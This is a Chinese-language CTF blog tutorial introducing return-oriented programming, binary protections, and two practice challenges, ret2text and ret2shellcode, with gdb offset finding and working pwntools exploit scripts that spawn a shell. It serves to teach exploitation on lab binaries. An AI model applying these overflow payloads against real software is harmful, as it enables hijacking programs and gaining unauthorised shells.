本节将介绍基本的ROP(Return-Oriented Programming,返回导向编程的)的攻击原理、二进制程序的保护机制,并通过两个实例ret2text、ret2shellcode,为读者简介基本的ROP攻击过程。本节所使用的实例可在CTF wiki上进行下载,链接为:基本 ROP - CTF Wiki (ctf-wiki.org)
本节使用的工具包括IDA pro、gdb-peda、pwntools,已在上一篇博客中进行了介绍,详情请见:(58条消息) pwn入门(1):kali配置相关环境(pwntools+gdb+peda)_Bossfrank的博客-CSDN博客
ROP攻击原理
ROP的全称为 Return-oriented programming,即返回导向编程,其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。 是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御,比如内存不可执行和代码签名等。ROP攻击执行需要满足如下两个条件:
-
程序存在溢出点(如C语言的gets等不安全的函数),并且可以控制返回地址。
-
可以找到满足条件的 gadgets 以及相应 gadgets 的地址(如系统调用相关函数system等)
简单的将,ROP攻击的思想就是:在栈溢出的基础上,努力去代码段(可执行区域)拼凑出机器指令的片段,完成要执行攻击的逻辑。
二进制程序保护机制
拿到二进制程序后,使用checksec即可查看该程序开启了哪些保护机制,包括以下几种:
RELRO
全称为Relocation Read-Only,重定位表只读。设置符号重定向表格为只读或在程序启动时就解析并绑 定所有动态符号,从而减少对 GOT 表的攻击。如果 RELRO 为“Partial RELRO”,说明对 GOT 表具有写权限。
Stack Canary
cannary单词本意是“金丝雀”,我的理解这里将该词引申为“标记位置”。函数开始执行时先在栈帧基址 (如 EBP 位置) 附近插入 cookie 信息(标记),当函数返回后验证 cookie 信息是否合法, 如果不合法就停止程序运行。攻击者在执行溢出时,在覆盖返回地址的时候往往也会覆盖 cookie 信息,导致栈保护检查失败从而阻止 shellcode 的执行。
ASLR
全程为Address Space Layout Randomization,地址空间布局随机化。通过对堆、栈、共享库等加载地址随机化,增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置。随机化影响的是程序加载的 基地址,页内偏移不会发生变化。
PIE
全称为Position Independent Executable,地址无关的可执行文件,每次加载程序时都变换 text、 data、bss 等段的加载基地址,使得攻击者难以定位相应的基地址执行溢出。
NX
全称为No-execute,数据段不可执行。在 Windows 系统中被称为 DEP(Data Execution Prevention,数据执行保护) 。通常开启了 NX 后,即使有栈溢出漏洞也无法执行写在栈上的 shellcode。随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。当然,攻击者们也提出来相应的方法来绕过保护,别u可通过 ROP 方式来绕过NX跳转至其他地方执行。 这正是本节ROP攻击的核心!
下面我们将以两个基本ROP实例ret2text和ret2shellcode为大家介绍ROP攻击的过程,以及缓冲区溢出的覆盖思路。
ret2text
二进制下载链接为点此处下载ret2text
我们先查看一下这个二进制文件的保护机制,执行如下命令:
checksec ret2text
结果如下图,发现程序是32位程序,仅仅开启了NX保护:
然后用IDA pro看一下这个程序的反编译源代码(用IDA pro打开此文件后按F5)
分析main函数,发现存在溢出点gets函数,可以在此处执行溢出(gets函数不会对输入数据的长度进行判断,可能造成溢出)。
然后我们看secure()函数,可发现调用了system函数并传入了/bin/sh参数,可获取系统权限。
通过以上对ret2text的分析,发现其代码段要素齐全,执行ROP攻击的思路如下:
1、通过溢出攻击,覆盖 main() 函数的返回地址,实现控制流劫持。
2、将返回地址覆盖为 system('/bin/sh') 的地址,让 main() 函数执行完直接跳转到 system('/bin/sh')。
3、main 退出后 eip 指针直接指向 system('/bin/sh') 的地址
覆盖的思路如下图:payload=长度为offset的垃圾数据+system('/bin/sh')的地址,关键在于合理构造垃圾数据的长度offset,保证system('/bin/sh')的地址正好填充到main()返回地址的填充位置:
那么我们如何确定offset,有两种方法,方法一是运行时可查看 ebp,在 call _gets 处下断点,此时 eax 里已经存放了 s 的地址,则offset = ebp - s + 4(+4 是为了回到返回地址的开始),如下图:
则根据上图,有:
offset = ebp – s + 4= 0xffffd2d8 – 0xffffd26c + 4 = 0x6c + 4 = 0x70 = 112
我们用另外一种方法,使用gdb调试确定payload的填充长度offset,将ret2text放入gdb中进行调试,命令为:
gdb ret2text
思路:
1、我们利用gdb-peda生成200个字符,一会传入gets中。
2、传入步骤一中的200个字符,肯定会发生溢出,在程序崩溃后查看EIP的值,就得到了返回地址被覆盖为了什么字符。
3、再查看EIP中的字符在刚才生成的200个字符中的什么位置,就得到了offset的值。
生成200个字符的pattern,命令为:
pattern create 200
然后我们用命令r跑一下,将这个200字符的pattern输入:
程序果然崩溃了,如下图:
我们可以看到,程序崩溃时EIP里的值是AA8A,也就是返回地址被覆盖为了AA8A,使用pattern offset确定他的填充长度,命令为:
pattern offset AA8A
可看到填充长度是112,然后我们要确定返回地址,可以直接用IDA pro查看secure():是先传入参数/bin/sh,地址为0804863A,再调用了system,地址为08048641,因此要将返回地址覆盖为0804863A
下面编写漏洞利用的代码ret2text_exp.py,可以直接在python中按行执行,也可以编写为ret2text_exp.py:
from pwn import *
context.log_level = "DEBUG" #开启DEBUG模式
sh = process('./ret2text') #连接到ret2text进程
target = 0x804863a #syscall('/bin/sh')的地址
payload = b'A' * 112 + p32(target) #构造payload
print(payload) #打印一下
sh.sendline(payload) #发送payload到进程
sh.interactive() #进入交互模式
我这里就按行执行了,更能体现出运行过程,结果如下图:
已经成功获取shell了,这里运行了ls指令:
ret2shellcode
二进制的下载链接为点此处下载ret2shellcode
同上一题,首先检测程序开启的保护,发现防护措施几乎为0:
checksec ret2shellcode
然后用IDA pro查看反编译代码,也存在gets函数可用于溢出:
不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段,如下图,地址为0804A080,这是一段具有rwx权限的位置(这种完美的巧合在现实生活中几乎不存在!)。
因此,本题的思路就是利用 strncpy 函数,将payload 写到权限为 rwx 的内存区域 (即 buf2 的地址),然后继续覆盖直至将 main() 的返回地址覆盖为 buf2 的地址,其覆盖思路如下图:
这样我们的payload构造方式为:
Payload = shellcode代码 + 垃圾数据(总长度为offset-shellcode代码的长度)+buff2的地址。
其中的shellcode目标是获取shell,用python可编写为
shellcode = asm(shellcraft.sh())
目前我们已经得到了offset为112,buff2的地址为0804A080
可构造如下的代码作为漏洞利用ret2shellcode_exp.py:
from pwn import *
buf2_addr = 0x804a080
shellcode = asm(shellcraft.sh())
print("shellcode length: {}".format(len(shellcode)))
shellcode_pad = shellcode + (112 - len(shellcode)) * b'A'
sh = process('./ret2shellcode')
print(shellcode_pad)
sh.sendline(shellcode_pad + p32(buf2_addr))
sh.interactive()
运行这段代码,成功获取shell了:
这样就运行成功了!
结语
本人也是个刚刚入门网安的菜鸟,正好学到缓冲区溢出的基本知识,因此做了几道基本题之后感觉还挺有趣的,因此写写博客做一个记录。
本节介绍了基本的ROP(Return-Oriented Programming,返回导向编程的)的攻击原理、二进制程序的保护机制,并通过两个实例ret2text、ret2shellcode,为读者介绍基本的ROP攻击过程。下一届中我们将继续通过两个实例ret2syscall和ret2libc1继续介绍基本的ROP知识题目。敬请期待,希望大大多多关注支持!